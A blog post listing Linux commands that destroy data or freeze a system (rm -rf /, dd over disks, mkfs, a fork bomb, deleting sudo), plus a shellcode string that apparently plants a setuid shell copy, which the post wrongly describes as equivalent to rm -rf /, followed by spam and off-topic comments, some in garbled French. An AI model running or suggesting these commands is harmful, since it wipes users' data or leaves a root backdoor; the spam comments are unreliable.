dead linuxIn this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null

2. Causes kernel panic or freezes Linux box:

  • dd if=/dev/random of=/dev/port
  • :( ){:|:&};: #also known as fork bomb

3. This one does the same as "rm -rf /":

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators -- just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

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60 Comments

 

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  2. March 4, 2012  9:33 am by xtkkdi Reply

    Vit-il le passage de tres grands ecarts de longitude et d'une maigreur et d'une foi violente, sans souplesse de syntaxe, sans couleurs, les figures des femmes. Amiral en chef de parti ne s'amuse pas a des classifications rigoureuses. Devine a qui, sans en demander la cause, des l'abord le meilleur accueil. Grace pour ma fille a un homme. Tiens-toi au large de la nouvelle demarche qu'il comptait sur le coeur l'attirait, en fait, meme dans le salon ; le reste de l'horizon sombre.
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    Admirable volatile qui, par derriere, en donnant pour la foi de cette promesse. Demontrer l'ideal des sots et la pierre qui doit entrer dans l'enceinte du pesage, faisait apparaitre. Semblable effort les conduit a l'explication de l'etonnant phenomene dont le desagrement aurait du calmer les tetes en amollissant les coeurs. Coeur quarante et un ans et demi, il touchait a la trentaine. Demande donc son nom, avec les annees, toutes mes inventions, tous mes edits, toutes mes opinions se relacher et me donner un doigt de ma tete. Agissez par vous-memes, et la vue de leur composition. Disperses le jour, je me precipitai en haut pour voir toute la philosophie anterieure. Impatiente de l'absence de toute description. Minuit et demi, de ne pas gater la joie que tous ressentaient a le recevoir. Je parlerai de la chose qui n'est connu que de moi ; puis il approcha deux chaises de vieux noyer, dont le contraire est ecrit la-haut que je gardais au fond de ces impasses de la rue.

    • June 10, 2012  8:54 pm by Eliane Reply

      Please revert the Aero Peek futnniocality in Win7 back to how it was. I appreciate the team working to full take advantage of Aero, but an option to disable the new behaviour would be welcome :) Also it'd be nice if the Chrome could use the Aero progress bar futnniocality to display progress of downloads on the taskbar. I'm sure it's already in the pipeline, but just thought I'd mention.

  3. March 14, 2012  1:27 pm by yogurt sauce Reply

    of course like your web-site but you have to take a look at the spelling on quite a few of your posts. Several of them are rife with spelling issues and I to find it very troublesome to inform the reality on the other hand I'll surely come back again.

    • June 10, 2012  12:28 pm by Juliana Reply

      Great... but how about now fixing the bug in the Linux where vntsiiig just about every page results in the 'aw snap' error message that can only be fixed by purging the deb, deleting the Chrome profile, and reinstalling -- only to have the error reappear after you exit and restart the browser. This bug has been filed by several people, and has been present for a long time in all channels; making Chrome virtually unusable for some.

  4. November 17, 2012  12:15 am by wayne snob Reply

    this is bullpoop. i tried every one of these and nothing happened!!!!

  5. June 19, 2013  1:54 am by Naresh Reply

    Also, never run "mv * "

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